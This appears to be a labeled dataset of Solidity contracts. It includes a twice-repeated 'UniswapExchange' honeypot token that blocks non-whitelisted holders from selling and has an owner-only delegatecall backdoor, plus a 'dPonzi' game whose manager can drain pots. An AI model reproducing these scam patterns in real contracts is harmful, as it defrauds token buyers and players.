function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 128 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,364 |
pragma solidity ^0.4.16;
contract Owned {
address public owner;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 8;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract Askcoin is Owned, TokenERC20 {
uint256 public sellPrice = 20000;
uint256 public buyPrice = 20000;
bool public enableSell = false;
bool public mainnetLocked = false;
mapping (address => bool) public frozenAccount;
mapping (address => string) public mainnetAccountDict;
event FrozenFunds(address target, bool frozen);
function Askcoin(
) TokenERC20(1000000000, "Askcoin", "ASK") public {}
function _transfer(address _from, address _to, uint _value) internal {
require(!mainnetLocked);
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function incPreSell(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function setEnableSell(bool _enable) onlyOwner public {
enableSell = _enable;
}
function setMainnetLocked(bool _locked) onlyOwner public {
mainnetLocked = _locked;
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function moveFundToOwner(uint256 amount) onlyOwner public {
if(amount == 0) {
owner.transfer(this.balance);
} else {
owner.transfer(amount);
}
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(owner, msg.sender, amount);
}
function() payable public {
uint256 amount = msg.value / buyPrice;
_transfer(owner, msg.sender, amount);
}
function setMainnetAccount(string account) public {
require(!mainnetLocked);
mainnetAccountDict[msg.sender] = account;
}
function sell(uint256 amount) public {
require(enableSell);
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, owner, amount);
msg.sender.transfer(amount * sellPrice);
}
} | 1 | 4,972 |
pragma solidity ^0.4.24;
contract dPonzi {
address public manager;
struct PlayerStruct {
uint key;
uint food;
uint idx;
uint gametime;
uint flag;
}
struct RefStruct {
address player;
uint flag;
}
struct RefStructAdd {
bool flag;
string name;
}
struct PotCntStruct {
address[] player;
address lastPlayer;
uint last;
uint balance;
uint keys;
uint food;
uint gtime;
uint gameTime;
uint lastRecord;
uint entryAmount;
mapping(string => PackageStruct) potStruct;
}
struct IdxStruct {
mapping(address => PlayerStruct) playerStruct;
}
struct PackageStruct {
uint entryAmount;
}
mapping(string => PotCntStruct) potCntInfo;
mapping(string => IdxStruct) idxStruct;
mapping(string => RefStruct) idxR;
mapping(address => RefStructAdd) public idxRadd;
constructor() public {
manager = msg.sender;
potCntInfo['d'].gameTime = 0;
potCntInfo['7'].gameTime = 0;
potCntInfo['30'].gameTime = 0;
potCntInfo['90'].gameTime = 0;
potCntInfo['180'].gameTime = 0;
potCntInfo['365'].gameTime = 0;
potCntInfo['i'].entryAmount = 10;
potCntInfo['d'].entryAmount = 1;
potCntInfo['7'].entryAmount = 4;
potCntInfo['30'].entryAmount = 8;
potCntInfo['90'].entryAmount = 15;
potCntInfo['180'].entryAmount = 25;
potCntInfo['365'].entryAmount = 5;
potCntInfo['l'].entryAmount = 2;
}
function enter(string package, address advisor) public payable {
require(msg.value >= 0.01 ether, "0 ether is not allowed");
uint key = 0;
uint multiplier = 100000000000000;
if(keccak256(abi.encodePacked(package)) == keccak256("BasicK")) {
require(msg.value == 0.01 ether, "Invalid Package Amount");
key = 1;
}
else if (keccak256(abi.encodePacked(package)) == keccak256("PremiumK")){
require(msg.value == 0.1 ether, "Invalid Package Amount");
key = 11;
multiplier = multiplier * 10;
}
else if (keccak256(abi.encodePacked(package)) == keccak256("LuxuryK")){
require(msg.value == 1 ether, "Invalid Package Amount");
key = 120;
multiplier = multiplier * 100;
addRoyLuxList('l', 'idxLuxury', now, 500);
}
else if (keccak256(abi.encodePacked(package)) == keccak256("RoyalK")){
require(msg.value == 10 ether, "Invalid Package Amount");
key = 1300;
multiplier = multiplier * 1000;
addRoyLuxList('r', 'idxRoyal', now, 100);
}
if (key > 0){
if ( idxRadd[advisor].flag ) {
advisor.transfer(potCntInfo['i'].entryAmount * multiplier);
}
else {
potCntInfo['i'].balance += potCntInfo['i'].entryAmount * multiplier;
}
potCntInfo['d'].balance += potCntInfo['d'].entryAmount * multiplier;
potCntInfo['7'].balance += potCntInfo['7'].entryAmount * multiplier;
potCntInfo['30'].balance += potCntInfo['30'].entryAmount * multiplier;
potCntInfo['90'].balance += potCntInfo['90'].entryAmount * multiplier;
potCntInfo['180'].balance += potCntInfo['180'].entryAmount * multiplier;
potCntInfo['365'].balance += potCntInfo['365'].entryAmount * multiplier;
potCntInfo['l'].balance += potCntInfo['l'].entryAmount * multiplier;
potCntInfo['r'].balance += potCntInfo['365'].entryAmount * multiplier;
potCntInfo['i'].balance += potCntInfo['i'].entryAmount * multiplier;
potCntInfo['dv'].balance += potCntInfo['90'].entryAmount * multiplier;
addPlayerMapping('d', 'idxDaily', key, 0, 0);
addPlayerMapping('7', 'idx7Pot', key, 60, 3600);
addPlayerMapping('30', 'idx30Pot', key, 90, 10800);
addPlayerMapping('90', 'idx90Pot', key, 120, 21600);
addPlayerMapping('180', 'idx180Pot', key, 150, 43200);
addPlayerMapping('365', 'idx365Pot', key, 0, 0);
}
}
function addPlayerMapping(string x1, string x2, uint key, uint timeAdd, uint hardCap ) private{
if(potCntInfo[x1].last <= now){
potCntInfo[x1].last = now;
}
if(keccak256(abi.encodePacked(x1)) == keccak256("d")) {
if (potCntInfo[x1].gameTime == 0) {
potCntInfo[x1].gameTime = now%86400 == 0 ? (now-28800) : now-28800-(now%86400);
potCntInfo[x1].gtime = now;
potCntInfo[x1].last = potCntInfo[x1].gameTime + 1 days;
}
}
else if(keccak256(abi.encodePacked(x1)) == keccak256("365")) {
if (potCntInfo[x1].gameTime == 0) {
potCntInfo[x1].gameTime = now%86400 == 0 ? (now-28800) : now-28800-(now%86400);
potCntInfo[x1].gtime = now;
potCntInfo[x1].last = potCntInfo[x1].gameTime + 365 days;
potCntInfo['l'].gameTime = potCntInfo[x1].gameTime;
potCntInfo['r'].gameTime = potCntInfo[x1].gameTime;
potCntInfo['l'].gtime = now;
potCntInfo['r'].gtime = now;
}
}else {
if (potCntInfo[x1].gameTime == 0) {
potCntInfo[x1].gameTime = now%86400 == 0 ? (now-28800) : now-28800-(now%86400);
potCntInfo[x1].gtime = now;
potCntInfo[x1].last = (now + (key * timeAdd))>=now+hardCap ? now + hardCap : now + (key * timeAdd);
}
else {
potCntInfo[x1].last = (potCntInfo[x1].last + (key * timeAdd))>=now+hardCap ? now + hardCap : potCntInfo[x1].last + (key * timeAdd);
}
}
if (idxStruct[x2].playerStruct[msg.sender].flag == 0) {
potCntInfo[x1].player.push(msg.sender);
idxStruct[x2].playerStruct[msg.sender] = PlayerStruct(key, 0, potCntInfo[x1].player.length, potCntInfo[x1].gtime, 1);
}
else if (idxStruct[x2].playerStruct[msg.sender].gametime != potCntInfo[x1].gtime){
potCntInfo[x1].player.push(msg.sender);
idxStruct[x2].playerStruct[msg.sender] = PlayerStruct(key, 0, potCntInfo[x1].player.length, potCntInfo[x1].gtime, 1);
}
else {
idxStruct[x2].playerStruct[msg.sender].key += key;
}
potCntInfo[x1].keys += key;
potCntInfo[x1].lastPlayer = msg.sender;
}
function joinboard(string name) public payable {
require(msg.value >= 0.01 ether, "0 ether is not allowed");
if (idxR[name].flag == 0 ) {
idxR[name] = RefStruct(msg.sender, 1);
potCntInfo['i'].balance += msg.value;
idxRadd[msg.sender].name = name;
idxRadd[msg.sender].flag = true;
}
else {
revert("Name is not unique");
}
}
function pickFood(uint pickTime, string x1, string x2, uint num, uint c) public restricted {
uint i = 0;
uint pCounter = 0;
uint food = 0;
if (potCntInfo[x1].player.length > 0 && potCntInfo[x1].food < num) {
do {
pCounter = random(potCntInfo[x1].player.length, pickTime+i+pCounter+food);
food = random(idxStruct[x2].playerStruct[potCntInfo[x1].player[pCounter]].key, pickTime+i+pCounter+food);
if (potCntInfo[x1].food + food > num) {
idxStruct[x2].playerStruct[potCntInfo[x1].player[pCounter]].food += num-potCntInfo[x1].food;
potCntInfo[x1].food = num;
break;
}
else {
idxStruct[x2].playerStruct[potCntInfo[x1].player[pCounter]].food += food;
potCntInfo[x1].food += food;
}
i++;
if(potCntInfo[x1].food == num) {
break;
}
}
while (i < c);
potCntInfo[x1].lastRecord = potCntInfo[x1].food == num ? 1 : 0;
}
else {
potCntInfo[x1].lastRecord = 1;
}
}
function pickWinner(uint pickTime, bool sendDaily, bool send7Pot, bool send30Pot, bool send90Pot, bool send180Pot, bool send365Pot) public restricted{
hitPotProcess('7', send7Pot, pickTime);
hitPotProcess('30', send30Pot, pickTime);
hitPotProcess('90', send90Pot, pickTime);
hitPotProcess('180', send180Pot, pickTime);
maturityProcess('d', sendDaily, pickTime, 86400);
maturityProcess('7', send7Pot, pickTime, 604800);
maturityProcess('30', send30Pot, pickTime, 2592000);
maturityProcess('90', send90Pot, pickTime, 7776000);
maturityProcess('180', send180Pot, pickTime, 15552000);
maturityProcess('365', send365Pot, pickTime, 31536000);
maturityProcess('l', send365Pot, pickTime, 31536000);
maturityProcess('r', send365Pot, pickTime, 31536000);
}
function hitPotProcess(string x1, bool send, uint pickTime) private {
if( pickTime > potCntInfo[x1].last) {
if (potCntInfo[x1].balance > 0 && send) {
if (pickTime - potCntInfo[x1].last >= 20) {
potCntInfo[x1].balance = 0;
potCntInfo[x1].food = 0;
potCntInfo[x1].keys = 0;
delete potCntInfo[x1].player;
potCntInfo[x1].gameTime = 0;
potCntInfo[x1].gtime = pickTime;
}
}
}
}
function maturityProcess(string x1, bool send, uint pickTime, uint addTime) private {
if( pickTime > potCntInfo[x1].gameTime) {
if ( (pickTime - potCntInfo[x1].gameTime) >= addTime) {
if (potCntInfo[x1].balance > 0 && send) {
potCntInfo[x1].balance = 0;
potCntInfo[x1].food = 0;
potCntInfo[x1].keys = 0;
delete potCntInfo[x1].player;
potCntInfo[x1].gameTime = 0;
potCntInfo[x1].gtime = pickTime;
}
}
}
}
modifier restricted() {
require(msg.sender == manager, "Only manager is allowed");
_;
}
function random(uint maxNum, uint timestamp) private view returns (uint){
return uint(keccak256(abi.encodePacked(block.difficulty, timestamp, potCntInfo['d'].balance, potCntInfo['7'].balance, potCntInfo['30'].balance, potCntInfo['90'].balance, potCntInfo['180'].balance, potCntInfo['365'].balance))) % maxNum;
}
function addRoyLuxList(string x1, string x2, uint timestamp, uint num) private {
uint pick;
if ( potCntInfo[x1].player.length < num) {
if (idxStruct[x2].playerStruct[msg.sender].flag == 0 ) {
idxStruct[x2].playerStruct[msg.sender] = PlayerStruct(0, 0, potCntInfo[x1].player.length, potCntInfo['365'].gtime, 1);
potCntInfo[x1].player.push(msg.sender);
}
else if (idxStruct[x2].playerStruct[msg.sender].gametime != potCntInfo['365'].gtime ) {
idxStruct[x2].playerStruct[msg.sender] = PlayerStruct(0, 0, potCntInfo[x1].player.length, potCntInfo['365'].gtime, 1);
potCntInfo[x1].player.push(msg.sender);
}
}
else {
if (idxStruct[x2].playerStruct[msg.sender].flag == 0 ) {
pick = random(potCntInfo[x1].player.length, timestamp);
idxStruct[x2].playerStruct[msg.sender] = PlayerStruct(0, 0, idxStruct[x2].playerStruct[potCntInfo[x1].player[pick]].idx, potCntInfo['365'].gtime, 1);
idxStruct[x2].playerStruct[potCntInfo[x1].player[pick]].flag = 0;
potCntInfo[x1].player[pick] = msg.sender;
}
else if (idxStruct[x2].playerStruct[msg.sender].gametime != potCntInfo['365'].gtime ) {
pick = random(potCntInfo[x1].player.length, timestamp);
idxStruct[x2].playerStruct[msg.sender] = PlayerStruct(0, 0, idxStruct[x2].playerStruct[potCntInfo[x1].player[pick]].idx, potCntInfo['365'].gtime, 1);
idxStruct[x2].playerStruct[potCntInfo[x1].player[pick]].flag = 0;
potCntInfo[x1].player[pick] = msg.sender;
}
}
}
function getPotCnt(string x) public constant returns(uint count, uint pLast, uint pot, uint keystore, uint gtime, uint gameTime, uint food) {
return (potCntInfo[x].player.length, potCntInfo[x].last, potCntInfo[x].balance, potCntInfo[x].keys, potCntInfo[x].gtime, potCntInfo[x].gameTime, potCntInfo[x].food);
}
function getIdx(string x1, string x2, uint p) public constant returns(address p1, uint key, uint food, uint gametime, uint flag) {
return (potCntInfo[x1].player[p], idxStruct[x2].playerStruct[potCntInfo[x1].player[p]].key, idxStruct[x2].playerStruct[potCntInfo[x1].player[p]].food, idxStruct[x2].playerStruct[potCntInfo[x1].player[p]].gametime, idxStruct[x2].playerStruct[potCntInfo[x1].player[p]].flag);
}
function getLast(string x) public constant returns(uint lastRecord) {
return potCntInfo[x].lastRecord;
}
function getLastPlayer(string x) public constant returns(address lastPlayer) {
return potCntInfo[x].lastPlayer;
}
function sendFood(address p, uint food) public restricted {
p.transfer(food);
}
function sendFoods(address[500] p, uint[500] food) public restricted {
for(uint k = 0; k < p.length; k++){
if (food[k] == 0) {
return;
}
p[k].transfer(food[k]);
}
}
function sendItDv(string x1) public restricted {
msg.sender.transfer(potCntInfo[x1].balance);
potCntInfo[x1].balance = 0;
}
function sendDv(string x1) public restricted {
potCntInfo[x1].balance = 0;
}
function getReffAdd(string x) public constant returns(address){
if( idxR[x].flag == 1){
return idxR[x].player;
}else{
revert("Not found!");
}
}
function getReffName(address x) public constant returns(string){
if( idxRadd[x].flag){
return idxRadd[x].name;
}else{
revert("Not found!");
}
}
} | 1 | 5,047 |
pragma solidity ^0.4.21;
interface IERC20Token {
function balanceOf(address owner) public returns (uint256);
function transfer(address to, uint256 amount) public returns (bool);
function decimals() public returns (uint256);
}
contract TokenSale {
IERC20Token public tokenContract;
uint256 public price;
address owner;
uint256 public tokensSold;
event Sold(address buyer, uint256 amount);
function TokenSale(IERC20Token _tokenContract, uint256 _price) public {
owner = msg.sender;
tokenContract = _tokenContract;
price = _price;
}
function safeMultiply(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
} else {
uint256 c = a * b;
assert(c / a == b);
return c;
}
}
function buyTokens(uint256 numberOfTokens) public payable {
require(msg.value == safeMultiply(numberOfTokens, price));
uint256 scaledAmount = safeMultiply(numberOfTokens,
uint256(10) ** tokenContract.decimals());
require(tokenContract.balanceOf(this) >= scaledAmount);
emit Sold(msg.sender, numberOfTokens);
tokensSold += numberOfTokens;
require(tokenContract.transfer(msg.sender, scaledAmount));
}
function endSale() public {
require(msg.sender == owner);
require(tokenContract.transfer(owner, tokenContract.balanceOf(this)));
msg.sender.transfer(address(this).balance);
}
